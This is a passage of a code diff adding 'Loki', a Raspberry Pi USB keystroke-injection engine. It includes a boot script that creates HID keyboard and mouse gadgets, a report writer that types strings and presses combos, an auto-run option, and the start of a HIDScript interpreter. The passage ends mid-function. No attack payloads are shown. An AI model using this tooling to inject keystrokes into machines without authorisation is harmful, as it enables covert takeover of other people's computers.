0x95, 0x03, + 0x75, 0x01, 0x81, 0x02, 0x95, 0x01, 0x75, 0x05, + 0x81, 0x03, 0x05, 0x01, 0x09, 0x30, 0x09, 0x31, + 0x15, 0x81, 0x25, 0x7f, 0x75, 0x08, 0x95, 0x02, + 0x81, 0x06, 0x95, 0x02, 0x75, 0x08, 0x81, 0x01, + 0xc0, 0xc0, 0x05, 0x01, 0x09, 0x02, 0xa1, 0x01, + 0x09, 0x01, 0xa1, 0x00, 0x85, 0x02, 0x05, 0x09, + 0x19, 0x01, 0x29, 0x03, 0x15, 0x00, 0x25, 0x01, + 0x95, 0x03, 0x75, 0x01, 0x81, 0x02, 0x95, 0x01, + 0x75, 0x05, 0x81, 0x01, 0x05, 0x01, 0x09, 0x30, + 0x09, 0x31, 0x15, 0x00, 0x26, 0xff, 0x7f, 0x95, + 0x02, 0x75, 0x10, 0x81, 0x02, 0xc0, 0xc0, +]) # 111 bytes, report_length=6 + +# The boot script that creates RNDIS + HID functions at startup. +# This replaces /usr/local/bin/usb-gadget.sh +_USB_GADGET_SCRIPT = '''#!/bin/bash +# usb-gadget.sh — USB composite gadget: RNDIS networking + HID (keyboard/mouse) +# Auto-generated by Bjorn Loki. Do not edit manually. + +modprobe libcomposite +cd /sys/kernel/config/usb_gadget/ +mkdir -p g1 +cd g1 + +echo 0x1d6b > idVendor +echo 0x0104 > idProduct +echo 0x0100 > bcdDevice +echo 0x0200 > bcdUSB + +mkdir -p strings/0x409 +echo "fedcba9876543210" > strings/0x409/serialnumber +echo "Raspberry Pi" > strings/0x409/manufacturer +echo "Pi Zero USB" > strings/0x409/product + +mkdir -p configs/c.1/strings/0x409 +echo "Config 1: RNDIS + HID" > configs/c.1/strings/0x409/configuration +echo 250 > configs/c.1/MaxPower + +# ── RNDIS networking function ── +mkdir -p functions/rndis.usb0 +[ -L configs/c.1/rndis.usb0 ] && rm configs/c.1/rndis.usb0 +ln -s functions/rndis.usb0 configs/c.1/ + +# ── HID functions (keyboard + mouse) ── +# Use python3 to write binary report descriptors (bash printf can't handle null bytes) +python3 - <<'PYEOF' +import os, sys + +G = "/sys/kernel/config/usb_gadget/g1" + +# Keyboard: P4wnP1 exact boot keyboard descriptor (63 bytes) +KBD_DESC = bytes([ + 0x05,0x01,0x09,0x06,0xa1,0x01,0x05,0x07, + 0x19,0xe0,0x29,0xe7,0x15,0x00,0x25,0x01, + 0x75,0x01,0x95,0x08,0x81,0x02,0x95,0x01, + 0x75,0x08,0x81,0x03,0x95,0x05,0x75,0x01, + 0x05,0x08,0x19,0x01,0x29,0x05,0x91,0x02, + 0x95,0x01,0x75,0x03,0x91,0x03,0x95,0x06, + 0x75,0x08,0x15,0x00,0x25,0x65,0x05,0x07, + 0x19,0x00,0x29,0x65,0x81,0x00,0xc0, +]) + +# Mouse: P4wnP1 dual-mode (relative + absolute) descriptor (111 bytes) +MOUSE_DESC = bytes([ + 0x05,0x01,0x09,0x02,0xa1,0x01,0x09,0x01, + 0xa1,0x00,0x85,0x01,0x05,0x09,0x19,0x01, + 0x29,0x03,0x15,0x00,0x25,0x01,0x95,0x03, + 0x75,0x01,0x81,0x02,0x95,0x01,0x75,0x05, + 0x81,0x03,0x05,0x01,0x09,0x30,0x09,0x31, + 0x15,0x81,0x25,0x7f,0x75,0x08,0x95,0x02, + 0x81,0x06,0x95,0x02,0x75,0x08,0x81,0x01, + 0xc0,0xc0,0x05,0x01,0x09,0x02,0xa1,0x01, + 0x09,0x01,0xa1,0x00,0x85,0x02,0x05,0x09, + 0x19,0x01,0x29,0x03,0x15,0x00,0x25,0x01, + 0x95,0x03,0x75,0x01,0x81,0x02,0x95,0x01, + 0x75,0x05,0x81,0x01,0x05,0x01,0x09,0x30, + 0x09,0x31,0x15,0x00,0x26,0xff,0x7f,0x95, + 0x02,0x75,0x10,0x81,0x02,0xc0,0xc0, +]) + +def w(path, content): + with open(path, "w") as f: + f.write(content) + +def wb(path, data): + with open(path, "wb") as f: + f.write(data) + +try: + # Keyboard (hid.usb0) + kbd = G + "/functions/hid.usb0" + os.makedirs(kbd, exist_ok=True) + w(kbd + "/protocol", "1") + w(kbd + "/subclass", "1") + w(kbd + "/report_length", "8") + wb(kbd + "/report_desc", KBD_DESC) + + # Mouse (hid.usb1) + mouse = G + "/functions/hid.usb1" + os.makedirs(mouse, exist_ok=True) + w(mouse + "/protocol", "2") + w(mouse + "/subclass", "1") + w(mouse + "/report_length", "6") + wb(mouse + "/report_desc", MOUSE_DESC) + + print(f"HID functions created: keyboard ({len(KBD_DESC)}B) + mouse ({len(MOUSE_DESC)}B)") +except Exception as e: + print(f"WARNING: HID setup failed (non-fatal): {e}", file=sys.stderr) + sys.exit(0) # Don't block RNDIS setup +PYEOF + +# Symlink HID into config (non-fatal) +for func in hid.usb0 hid.usb1; do + [ -L "configs/c.1/$func" ] && rm "configs/c.1/$func" + if [ -d "functions/$func" ]; then + ln -s "functions/$func" "configs/c.1/" 2>/dev/null || true + fi +done + +# ── Bind UDC ── +max_retries=10 +retry_count=0 +while ! ls /sys/class/udc > UDC 2>/dev/null; do + if [ $retry_count -ge $max_retries ]; then + echo "Error: Device or resource busy after $max_retries attempts." + exit 1 + fi + retry_count=$((retry_count + 1)) + sleep 1 +done + +UDC_NAME=$(ls /sys/class/udc) +echo "$UDC_NAME" > UDC +echo "Assigned UDC: $UDC_NAME (RNDIS + HID keyboard + HID mouse)" + +# ── Configure network ── +if ! ip addr show usb0 2>/dev/null | grep -q "172.20.2.1"; then + ifconfig usb0 172.20.2.1 netmask 255.255.255.0 2>/dev/null || true + echo "Configured usb0 with IP 172.20.2.1" +else + echo "Interface usb0 already configured." +fi +''' + +_GADGET_SCRIPT_PATH = "/usr/local/bin/usb-gadget.sh" + + +class LokiEngine: + """HID attack engine — manages script execution and job tracking. + + The USB HID gadget (keyboard + mouse) is set up at boot time by + usb-gadget.sh. This engine simply opens /dev/hidg0 and /dev/hidg1. + """ + + def __init__(self, shared_data): + self.shared_data = shared_data + self._stop_event = Event() + self._running = False + self._gadget_ready = False + + # Sub-components (lazy init) + self._hid = None + self._jobs = None + + # ── Properties ───────────────────────────────────────────── + + @property + def hid_controller(self): + if self._hid is None: + from loki.hid_controller import HIDController + self._hid = HIDController() + return self._hid + + @property + def job_manager(self): + if self._jobs is None: + from loki.jobs import LokiJobManager + self._jobs = LokiJobManager(self) + return self._jobs + + # ── Start / Stop ─────────────────────────────────────────── + + def start(self): + """Start Loki engine: open HID devices, apply config.""" + if self._running: + logger.warning("Loki already running") + return + + logger.info("Starting Loki engine...") + self._stop_event.clear() + + # Check if HID gadget is available (set up at boot) + if not os.path.exists("/dev/hidg0"): + logger.error( + "/dev/hidg0 not found — HID gadget not configured at boot. " + "Run install_hid_gadget() from the Loki API and reboot." + ) + self._gadget_ready = False + return + + self._gadget_ready = True + + # Open HID devices + try: + self.hid_controller.open() + except Exception as e: + logger.error("HID device open failed: %s", e) + self._gadget_ready = False + return + + # Apply config + layout = self.shared_data.config.get("loki_default_layout", "us") + self.hid_controller.set_layout(layout) + speed_min = self.shared_data.config.get("loki_typing_speed_min", 0) + speed_max = self.shared_data.config.get("loki_typing_speed_max", 0) + self.hid_controller.set_typing_speed(speed_min, speed_max) + + self._running = True + logger.info("Loki engine started (HID devices open)") + + # Auto-run script if configured + auto_run = self.shared_data.config.get("loki_auto_run", "") + if auto_run: + self._auto_run_script(auto_run) + + def stop(self): + """Stop Loki engine: cancel jobs, close devices.""" + if not self._running: + return + + logger.info("Stopping Loki engine...") + self._stop_event.set() + + # Cancel all running jobs + if self._jobs: + for job in self._jobs.get_all_jobs(): + if job["status"] == "running": + self._jobs.cancel_job(job["id"]) + + # Close HID devices (don't remove gadget — it persists) + if self._hid: + self._hid.close() + + self._running = False + self._gadget_ready = False + logger.info("Loki engine stopped") + + def get_status(self) -> dict: + """Return current engine status for the API.""" + hidg0_exists = os.path.exists("/dev/hidg0") + return { + "enabled": self.shared_data.config.get("loki_enabled", False), + "running": self._running, + "gadget_ready": self._gadget_ready, + "gadget_installed": hidg0_exists, + "layout": self.shared_data.config.get("loki_default_layout", "us"), + "jobs_running": self.job_manager.running_count if self._jobs else 0, + "jobs_total": len(self._jobs.get_all_jobs()) if self._jobs else 0, + } + + # ── Job API (delegated to JobManager) ────────────────────── + + def submit_job(self, script_name: str, script_content: str) -> str: + """Submit a HIDScript for execution. Returns job_id.""" + if not self._running: + raise RuntimeError("Loki engine not running") + if not self._gadget_ready: + raise RuntimeError("HID gadget not ready") + return self.job_manager.create_job(script_name, script_content) + + def cancel_job(self, job_id: str) -> bool: + return self.job_manager.cancel_job(job_id) + + def get_jobs(self) -> list: + return self.job_manager.get_all_jobs() + + # ── HID Gadget Installation ──────────────────────────────── + + @staticmethod + def is_gadget_installed() -> bool: + """Check if the HID gadget is available.""" + return os.path.exists("/dev/hidg0") + + @staticmethod + def install_hid_gadget() -> dict: + """Install/update the USB gadget boot script to include HID functions. + + Writes the new usb-gadget.sh that creates RNDIS + HID at boot. + Returns status dict. Requires a reboot to take effect. + """ + try: + # Write the new gadget script + with open(_GADGET_SCRIPT_PATH, "w") as f: + f.write(_USB_GADGET_SCRIPT) + os.chmod(_GADGET_SCRIPT_PATH, 0o755) + logger.info("USB gadget script updated at %s", _GADGET_SCRIPT_PATH) + + return { + "success": True, + "message": "USB gadget script updated with HID support. Reboot required.", + "reboot_required": True, + } + + except Exception as e: + logger.error("Failed to install HID gadget script: %s", e) + return { + "success": False, + "message": f"Installation failed: {e}", + "reboot_required": False, + } + + # ── Auto-run ─────────────────────────────────────────────── + + def _auto_run_script(self, script_name: str): + """Auto-run a script by name from the database.""" + try: + db = self.shared_data.db + row = db.query_one( + "SELECT content FROM loki_scripts WHERE name = ?", (script_name,) + ) + if row and row.get("content"): + self.submit_job(script_name, row["content"]) + logger.info("Auto-running script: %s", script_name) + except Exception as e: + logger.error("Auto-run failed for '%s': %s", script_name, e) diff --git a/loki/hid_controller.py b/loki/hid_controller.py new file mode 100644 index 0000000..34cad6f --- /dev/null +++ b/loki/hid_controller.py @@ -0,0 +1,408 @@ +""" +Low-level USB HID controller for Loki. +Writes keyboard and mouse reports to /dev/hidg0 and /dev/hidg1. +""" +import os +import struct +import time +import random +import logging +import select +from threading import Event + +from logger import Logger +from loki.layouts import load as load_layout + +logger = Logger(name="loki.hid_controller", level=logging.DEBUG) + +# ── HID Keycodes ────────────────────────────────────────────── +# USB HID Usage Tables — Keyboard/Keypad Page (0x07) + +KEY_NONE = 0x00 +KEY_A = 0x04 +KEY_B = 0x05 +KEY_C = 0x06 +KEY_D = 0x07 +KEY_E = 0x08 +KEY_F = 0x09 +KEY_G = 0x0A +KEY_H = 0x0B +KEY_I = 0x0C +KEY_J = 0x0D +KEY_K = 0x0E +KEY_L = 0x0F +KEY_M = 0x10 +KEY_N = 0x11 +KEY_O = 0x12 +KEY_P = 0x13 +KEY_Q = 0x14 +KEY_R = 0x15 +KEY_S = 0x16 +KEY_T = 0x17 +KEY_U = 0x18 +KEY_V = 0x19 +KEY_W = 0x1A +KEY_X = 0x1B +KEY_Y = 0x1C +KEY_Z = 0x1D +KEY_1 = 0x1E +KEY_2 = 0x1F +KEY_3 = 0x20 +KEY_4 = 0x21 +KEY_5 = 0x22 +KEY_6 = 0x23 +KEY_7 = 0x24 +KEY_8 = 0x25 +KEY_9 = 0x26 +KEY_0 = 0x27 +KEY_ENTER = 0x28 +KEY_ESC = 0x29 +KEY_BACKSPACE = 0x2A +KEY_TAB = 0x2B +KEY_SPACE = 0x2C +KEY_MINUS = 0x2D +KEY_EQUAL = 0x2E +KEY_LEFTBRACE = 0x2F +KEY_RIGHTBRACE = 0x30 +KEY_BACKSLASH = 0x31 +KEY_SEMICOLON = 0x33 +KEY_APOSTROPHE = 0x34 +KEY_GRAVE = 0x35 +KEY_COMMA = 0x36 +KEY_DOT = 0x37 +KEY_SLASH = 0x38 +KEY_CAPSLOCK = 0x39 +KEY_F1 = 0x3A +KEY_F2 = 0x3B +KEY_F3 = 0x3C +KEY_F4 = 0x3D +KEY_F5 = 0x3E +KEY_F6 = 0x3F +KEY_F7 = 0x40 +KEY_F8 = 0x41 +KEY_F9 = 0x42 +KEY_F10 = 0x43 +KEY_F11 = 0x44 +KEY_F12 = 0x45 +KEY_PRINTSCREEN = 0x46 +KEY_SCROLLLOCK = 0x47 +KEY_PAUSE = 0x48 +KEY_INSERT = 0x49 +KEY_HOME = 0x4A +KEY_PAGEUP = 0x4B +KEY_DELETE = 0x4C +KEY_END = 0x4D +KEY_PAGEDOWN = 0x4E +KEY_RIGHT = 0x4F +KEY_LEFT = 0x50 +KEY_DOWN = 0x51 +KEY_UP = 0x52 +KEY_NUMLOCK = 0x53 + +# ── Modifier bitmasks ───────────────────────────────────────── +MOD_NONE = 0x00 +MOD_LEFT_CONTROL = 0x01 +MOD_LEFT_SHIFT = 0x02 +MOD_LEFT_ALT = 0x04 +MOD_LEFT_GUI = 0x08 +MOD_RIGHT_CONTROL = 0x10 +MOD_RIGHT_SHIFT = 0x20 +MOD_RIGHT_ALT = 0x40 +MOD_RIGHT_GUI = 0x80 + +# ── Combo name → (modifier_mask, keycode) ───────────────────── +_COMBO_MAP = { + # Modifiers (used standalone or in combos) + "CTRL": (MOD_LEFT_CONTROL, KEY_NONE), + "CONTROL": (MOD_LEFT_CONTROL, KEY_NONE), + "SHIFT": (MOD_LEFT_SHIFT, KEY_NONE), + "ALT": (MOD_LEFT_ALT, KEY_NONE), + "GUI": (MOD_LEFT_GUI, KEY_NONE), + "WIN": (MOD_LEFT_GUI, KEY_NONE), + "WINDOWS": (MOD_LEFT_GUI, KEY_NONE), + "COMMAND": (MOD_LEFT_GUI, KEY_NONE), + "META": (MOD_LEFT_GUI, KEY_NONE), + "RCTRL": (MOD_RIGHT_CONTROL, KEY_NONE), + "RSHIFT": (MOD_RIGHT_SHIFT, KEY_NONE), + "RALT": (MOD_RIGHT_ALT, KEY_NONE), + "RGUI": (MOD_RIGHT_GUI, KEY_NONE), + # Special keys + "ENTER": (MOD_NONE, KEY_ENTER), + "RETURN": (MOD_NONE, KEY_ENTER), + "ESC": (MOD_NONE, KEY_ESC), + "ESCAPE": (MOD_NONE, KEY_ESC), + "BACKSPACE": (MOD_NONE, KEY_BACKSPACE), + "TAB": (MOD_NONE, KEY_TAB), + "SPACE": (MOD_NONE, KEY_SPACE), + "CAPSLOCK": (MOD_NONE, KEY_CAPSLOCK), + "DELETE": (MOD_NONE, KEY_DELETE), + "INSERT": (MOD_NONE, KEY_INSERT), + "HOME": (MOD_NONE, KEY_HOME), + "END": (MOD_NONE, KEY_END), + "PAGEUP": (MOD_NONE, KEY_PAGEUP), + "PAGEDOWN": (MOD_NONE, KEY_PAGEDOWN), + "UP": (MOD_NONE, KEY_UP), + "DOWN": (MOD_NONE, KEY_DOWN), + "LEFT": (MOD_NONE, KEY_LEFT), + "RIGHT": (MOD_NONE, KEY_RIGHT), + "PRINTSCREEN": (MOD_NONE, KEY_PRINTSCREEN), + "SCROLLLOCK": (MOD_NONE, KEY_SCROLLLOCK), + "PAUSE": (MOD_NONE, KEY_PAUSE), + "NUMLOCK": (MOD_NONE, KEY_NUMLOCK), + # F keys + "F1": (MOD_NONE, KEY_F1), "F2": (MOD_NONE, KEY_F2), + "F3": (MOD_NONE, KEY_F3), "F4": (MOD_NONE, KEY_F4), + "F5": (MOD_NONE, KEY_F5), "F6": (MOD_NONE, KEY_F6), + "F7": (MOD_NONE, KEY_F7), "F8": (MOD_NONE, KEY_F8), + "F9": (MOD_NONE, KEY_F9), "F10": (MOD_NONE, KEY_F10), + "F11": (MOD_NONE, KEY_F11), "F12": (MOD_NONE, KEY_F12), + # Letters (for combo usage like "GUI r") + "A": (MOD_NONE, KEY_A), "B": (MOD_NONE, KEY_B), + "C": (MOD_NONE, KEY_C), "D": (MOD_NONE, KEY_D), + "E": (MOD_NONE, KEY_E), "F": (MOD_NONE, KEY_F), + "G": (MOD_NONE, KEY_G), "H": (MOD_NONE, KEY_H), + "I": (MOD_NONE, KEY_I), "J": (MOD_NONE, KEY_J), + "K": (MOD_NONE, KEY_K), "L": (MOD_NONE, KEY_L), + "M": (MOD_NONE, KEY_M), "N": (MOD_NONE, KEY_N), + "O": (MOD_NONE, KEY_O), "P": (MOD_NONE, KEY_P), + "Q": (MOD_NONE, KEY_Q), "R": (MOD_NONE, KEY_R), + "S": (MOD_NONE, KEY_S), "T": (MOD_NONE, KEY_T), + "U": (MOD_NONE, KEY_U), "V": (MOD_NONE, KEY_V), + "W": (MOD_NONE, KEY_W), "X": (MOD_NONE, KEY_X), + "Y": (MOD_NONE, KEY_Y), "Z": (MOD_NONE, KEY_Z), +} + +# ── LED bitmasks (host → device output report) ──────────────── +LED_NUM = 0x01 +LED_CAPS = 0x02 +LED_SCROLL = 0x04 +LED_ANY = 0xFF + + +class HIDController: + """Low-level USB HID report writer.""" + + def __init__(self): + self._kbd_fd = None # /dev/hidg0 + self._mouse_fd = None # /dev/hidg1 + self._layout = load_layout("us") + self._speed_min = 0 # ms between keystrokes (0 = instant) + self._speed_max = 0 + + # ── Lifecycle ────────────────────────────────────────────── + + def open(self): + """Open HID gadget device files.""" + try: + self._kbd_fd = os.open("/dev/hidg0", os.O_RDWR | os.O_NONBLOCK) + logger.info("Opened /dev/hidg0 (keyboard)") + except OSError as e: + logger.error("Cannot open /dev/hidg0: %s", e) + raise + + try: + self._mouse_fd = os.open("/dev/hidg1", os.O_RDWR | os.O_NONBLOCK) + logger.info("Opened /dev/hidg1 (mouse)") + except OSError as e: + logger.warning("Cannot open /dev/hidg1 (mouse disabled): %s", e) + self._mouse_fd = None + + def close(self): + """Close HID device files.""" + self.release_all() + if self._kbd_fd is not None: + try: + os.close(self._kbd_fd) + except OSError: + pass + self._kbd_fd = None + if self._mouse_fd is not None: + try: + os.close(self._mouse_fd) + except OSError: + pass + self._mouse_fd = None + logger.debug("HID devices closed") + + @property + def is_open(self) -> bool: + return self._kbd_fd is not None + + # ── Layout ───────────────────────────────────────────────── + + def set_layout(self, name: str): + """Switch keyboard layout.""" + self._layout = load_layout(name) + logger.debug("Layout switched to '%s'", name) + + def set_typing_speed(self, min_ms: int, max_ms: int): + """Set random delay range between keystrokes (ms).""" + self._speed_min = max(0, min_ms) + self._speed_max = max(self._speed_min, max_ms) + + # ── Keyboard Reports ─────────────────────────────────────── + + def send_key_report(self, modifiers: int, keys: list): + """Send an 8-byte keyboard report: [mod, 0x00, key1..key6].""" + if self._kbd_fd is None: + return + report = bytearray(8) + report[0] = modifiers & 0xFF + for i, k in enumerate(keys[:6]): + report[2 + i] = k & 0xFF + os.write(self._kbd_fd, bytes(report)) + + def release_all(self): + """Send empty keyboard + mouse reports (release everything).""" + if self._kbd_fd is not None: + try: + os.write(self._kbd_fd, bytes(8)) + except OSError: + pass + if self._mouse_fd is not None: + try: + os.write(self._mouse_fd, bytes([0x01, 0, 0, 0, 0, 0])) + except OSError: + pass + + def press_combo(self, combo_str: str): + """Press a key combination like 'GUI r', 'CTRL ALT DELETE'. + + Keys are separated by spaces. All are pressed simultaneously, then released. + """ + parts = combo_str.strip().split() + mod_mask = 0 + keycodes = [] + + for part in parts: + upper = part.upper() + if upper in _COMBO_MAP: + m, k = _COMBO_MAP[upper] + mod_mask |= m + if k != KEY_NONE: + keycodes.append(k) + else: + # Try single char via layout + if len(part) == 1 and part in self._layout: + char_mod, char_key = self._layout[part] + mod_mask |= char_mod + keycodes.append(char_key) + else: + logger.warning("Unknown combo key: '%s'", part) + + if keycodes or mod_mask: + self.send_key_report(mod_mask, keycodes) + time.sleep(0.02) + self.send_key_report(0, []) # release + + def type_string(self, text: str, stop_event: Event = None): + """Type a string character by character using the current layout.""" + for ch in text: + if stop_event and stop_event.is_set(): + return + if ch in self._layout: + mod, key = self._layout[ch] + self.send_key_report(mod, [key]) + time.sleep(0.01) + self.send_key_report(0, []) # release + else: + logger.warning("Unmapped char: %r", ch) + continue + + # Inter-keystroke delay + if self._speed_max > 0: + delay = random.randint(self._speed_min, self._speed_max) / 1000.0 + if stop_event: + stop_event.wait(delay) + else: + time.sleep(delay) + else: + time.sleep(0.005) # tiny default gap for reliability + + # ── LED State ────────────────────────────────────────────── + + def read_led_state(self) -> int: + """Read current LED state from host (non-blocking). Returns bitmask.""" + if self._kbd_fd is None: + return 0 + try: + r, _, _ = select.select([self._kbd_fd], [], [], 0) + if r: + data = os.read(self._kbd_fd, 1) + if data: + return data[0] + except OSError: + pass + return 0 + + def wait_led(self, mask: int, stop_event: Event = None, timeout: float = 0): + """Block until host LED state matches mask. + + mask=LED_ANY matches any LED change. + Returns True if matched, False if stopped/timed out. + """ + start = time.monotonic() + initial = self.read_led_state() + while True: + if stop_event and stop_event.is_set(): + return False + if timeout > 0 and (time.monotonic() - start) > timeout: + return False + current = self.read_led_state() + if mask == LED_ANY: + if current != initial: + return True + else: + if current & mask: + return True + time.sleep(0.05) + + def wait_led_repeat(self, mask: int, count: int, stop_event: Event = None): + """Wait for LED to toggle count times.""" + for _ in range(count): + if not self.wait_led(mask, stop_event): + return False + return True + + # ── Mouse Reports ────────────────────────────────────────── + # P4wnP1 mouse descriptor uses Report ID 1 for relative mode. + # Report format: [0x01, buttons, X, Y, 0x00, 0x00] = 6 bytes + + def send_mouse_report(self, buttons: int, x: int, y: int, wheel: int = 0): + """Send a 6-byte relative mouse report with Report ID 1. + + Format: [report_id=1, buttons, X, Y, pad, pad] + """ + if self._mouse_fd is None: + return + # Clamp to signed byte range + x = max(-127, min(127, x)) + y = max(-127, min(127, y)) + report = struct.pack("BBbbBB", 0x01, buttons & 0xFF, x, y, 0, 0) + os.write(self._mouse_fd, report) + + def mouse_move(self, x: int, y: int): + """Move mouse by (x, y) relative pixels.""" + self.send_mouse_report(0, x, y) + + def mouse_move_stepped(self, x: int, y: int, step: int = 10): + """Move mouse in small increments for better tracking.""" + while x != 0 or y != 0: + dx = max(-step, min(step, x)) + dy = max(-step, min(step, y)) + self.send_mouse_report(0, dx, dy) + x -= dx + y -= dy + time.sleep(0.005) + + def mouse_click(self, button: int = 1): + """Click a mouse button (1=left, 2=right, 4=middle).""" + self.send_mouse_report(button, 0, 0) + time.sleep(0.05) + self.send_mouse_report(0, 0, 0) + + def mouse_double_click(self, button: int = 1): + """Double-click a mouse button.""" + self.mouse_click(button) + time.sleep(0.05) + self.mouse_click(button) diff --git a/loki/hidscript.py b/loki/hidscript.py new file mode 100644 index 0000000..bf66df6 --- /dev/null +++ b/loki/hidscript.py @@ -0,0 +1,748 @@ +""" +HIDScript parser and executor for Loki. + +Supports P4wnP1-compatible HIDScript syntax: + - Function calls: type("hello"); press("GUI r"); delay(500); + - var declarations: var x = 1; + - for / while loops + - if / else conditionals + - // and /* */ comments + - String concatenation with + + - Basic arithmetic (+, -, *, /) + - console.log() for job output + +Zero external dependencies — pure Python DSL parser. +""" +import re +import time +import logging +from threading import Event + +from logger import Logger + +logger = Logger(name="loki.hidscript", level=logging.DEBUG) + +# ── LED constants (available in scripts) ────────────────────── +NUM = 0x01 +CAPS = 0x02 +SCROLL = 0x04 +ANY = 0xFF + +# ── Mouse button constants ──────────────────────────────────── +BT1 = 1 # Left +BT2 = 2 # Right +BT3 = 4 # Middle +BTNONE = 0 + + +class HIDScriptError(Exception): + """Error during HIDScript execution.""" + def __init__(self, message, line=None): + self.line = line + super().__init__(f"Line {line}: {message}" if line else message) + + +class HIDScriptParser: + """Parse and execute P4wnP1-compatible HIDScript.""" + + def __init__(self, hid_controller, layout="us"): + self.hid = hid_controller + self._default_layout = layout + self._output = [] # console.log output + + def execute(self, source: str, stop_event: Event = None, job_id: str = ""): + """Parse and execute a HIDScript source string. + + Returns list of console.log output lines. + """ + self._output = [] + self._stop = stop_event or Event() + self._vars = { + # Built-in constants + "NUM": NUM, "CAPS": CAPS, "SCROLL": SCROLL, "ANY": ANY, + "BT1": BT1, "BT2": BT2, "BT3": BT3, "BTNONE": BTNONE, + "true": True, "false": False, "null": None, + } + + # Strip comments + source = self._strip_comments(source) + # Tokenize into statements + stmts = self._parse_block(source) + # Execute + self._exec_stmts(stmts) + + return self._output + + # ── Comment stripping ────────────────────────────────────── + + def _strip_comments(self, source: str) -> str: + """Remove // and /* */ comments.""" + # Block comments first + source = re.sub(r'/\*.*?\*/', '', source, flags=re.DOTALL) + # Line comments + source = re.sub(r'//[^\n]*', '', source) + return source + + # ── Parser ───────────────────────────────────────────────── + + def _parse_block(self, source: str) -> list: + """Parse source into a list of statement dicts.""" + stmts = [] + pos = 0 + source = source.strip() + + while pos < len(source): + if self._stop.is_set(): + break + pos = self._skip_ws(source, pos) + if pos >= len(source): + break + + # var declaration + if source[pos:pos+4] == 'var ' or source[pos:pos+4] == 'let ': + end = source.find(';', pos) + if end == -1: + end = len(source) + decl = source[pos+4:end].strip() + eq = decl.find('=') + if eq >= 0: + name = decl[:eq].strip() + value_expr = decl[eq+1:].strip() + stmts.append({"type": "assign", "name": name, "expr": value_expr}) + else: + stmts.append({"type": "assign", "name": decl.strip(), "expr": "null"}) + pos = end + 1 + + # for loop + elif source[pos:pos+4] == 'for ' or source[pos:pos+4] == 'for(': + stmt, pos = self._parse_for(source, pos) + stmts.append(stmt) + + # while loop + elif source[pos:pos+6] == 'while ' or source[pos:pos+6] == 'while(': + stmt, pos = self._parse_while(source, pos) + stmts.append(stmt) + + # if statement + elif source[pos:pos+3] == 'if ' or source[pos:pos+3] == 'if(': + stmt, pos = self._parse_if(source, pos) + stmts.append(stmt) + + # Block: { ... } + elif source[pos] == '{': + end = self._find_matching_brace(source, pos) + inner = source[pos+1:end] + stmts.extend(self._parse_block(inner)) + pos = end + 1 + + # Expression statement (function call or assignment) + else: + end = source.find(';', pos) + if end == -1: + end = len(source) + expr = source[pos:end].strip() + if expr: + # Check for assignment: name = expr + m = re.match(r'^([a-zA-Z_]\w*)\s*=\s*(.+)$', expr) + if m and not expr.startswith('=='): + stmts.append({"type": "assign", "name": m.group(1), "expr": m.group(2)}) + else: + stmts.append({"type": "expr", "expr": expr}) + pos = end + 1 + + return stmts + + def _parse_for(self, source, pos): + """Parse: for (init; cond; incr) { body }""" + # Find parenthesized header + p_start = source.index('(', pos) + p_end = self._find_matching_paren(source, p_start) + header = source[p_start+1:p_end] + + parts = header.split(';') + if len(parts) != 3: + raise HIDScriptError("Invalid for loop header") + init_expr = parts[0].strip() + cond_expr = parts[1].strip() + incr_expr = parts[2].strip() + + # Remove var/let prefix from init + for prefix in ('var ', 'let '): + if init_expr.startswith(prefix): + init_expr = init_expr[len(prefix):] + + # Find body + body_start = self._skip_ws(source, p_end + 1) + if body_start < len(source) and source[body_start] == '{': + body_end = self._find_matching_brace(source, body_start) + body = source[body_start+1:body_end] + next_pos = body_end + 1 + else: + semi = source.find(';', body_start) + if semi == -1: + semi = len(source) + body = source[body_start:semi] + next_pos = semi + 1 + + return { + "type": "for", + "init": init_expr, + "cond": cond_expr, + "incr": incr_expr, + "body": body, + }, next_pos + + def _parse_while(self, source, pos): + """Parse: while (cond) { body }""" + p_start = source.index('(', pos) + p_end = self._find_matching_paren(source, p_start) + cond = source[p_start+1:p_end].strip() + + body_start = self._skip_ws(source, p_end + 1) + if body_start < len(source) and source[body_start] == '{': + body_end = self._find_matching_brace(source, body_start) + body = source[body_start+1:body_end] + next_pos = body_end + 1 + else: + semi = source.find(';', body_start) + if semi == -1: + semi = len(source) + body = source[body_start:semi] + next_pos = semi + 1 + + return {"type": "while", "cond": cond, "body": body}, next_pos + + def _parse_if(self, source, pos): + """Parse: if (cond) { body } [else { body }]""" + p_start = source.index('(', pos) + p_end = self._find_matching_paren(source, p_start) + cond = source[p_start+1:p_end].strip() + + body_start = self._skip_ws(source, p_end + 1) + if body_start < len(source) and source[body_start] == '{': + body_end = self._find_matching_brace(source, body_start) + body = source[body_start+1:body_end] + next_pos = body_end + 1 + else: + semi = source.find(';', body_start) + if semi == -1: + semi = len(source) + body = source[body_start:semi] + next_pos = semi + 1 + + # Check for else + else_body = None + check = self._skip_ws(source, next_pos) + if source[check:check+4] == 'else': + after_else = self._skip_ws(source, check + 4) + if after_else < len(source) and source[after_else] == '{': + eb_end = self._find_matching_brace(source, after_else) + else_body = source[after_else+1:eb_end] + next_pos = eb_end + 1 + elif source[after_else:after_else+2] == 'if': + # else if — parse recursively + inner_if, next_pos = self._parse_if(source, after_else) + else_body = inner_if # will be a dict, handle in exec + else: + semi = source.find(';', after_else) + if semi == -1: + semi = len(source) + else_body = source[after_else:semi] + next_pos = semi + 1 + + return {"type": "if", "cond": cond, "body": body, "else": else_body}, next_pos + + # ── Executor ─────────────────────────────────────────────── + + def _exec_stmts(self, stmts: list): + """Execute a list of parsed statements.""" + for stmt in stmts: + if self._stop.is_set(): + return + stype = stmt["type"] + + if stype == "assign": + self._vars[stmt["name"]] = self._eval_expr(stmt["expr"]) + + elif stype == "expr": + self._eval_expr(stmt["expr"]) + + elif stype == "for": + self._exec_for(stmt) + + elif stype == "while": + self._exec_while(stmt) + + elif stype == "if": + self._exec_if(stmt) + + def _exec_for(self, stmt): + """Execute a for loop.""" + # Parse init as assignment + init = stmt["init"] + eq = init.find('=') + if eq >= 0: + name = init[:eq].strip() + self._vars[name] = self._eval_expr(init[eq+1:].strip()) + + max_iterations = 100000 + i = 0 + while i < max_iterations: + if self._stop.is_set(): + return + if not self._eval_expr(stmt["cond"]): + break + self._exec_stmts(self._parse_block(stmt["body"])) + # Execute increment + incr = stmt["incr"] + if "++" in incr: + var_name = incr.replace("++", "").strip() + self._vars[var_name] = self._vars.get(var_name, 0) + 1 + elif "--" in incr: + var_name = incr.replace("--", "").strip() + self._vars[var_name] = self._vars.get(var_name, 0) - 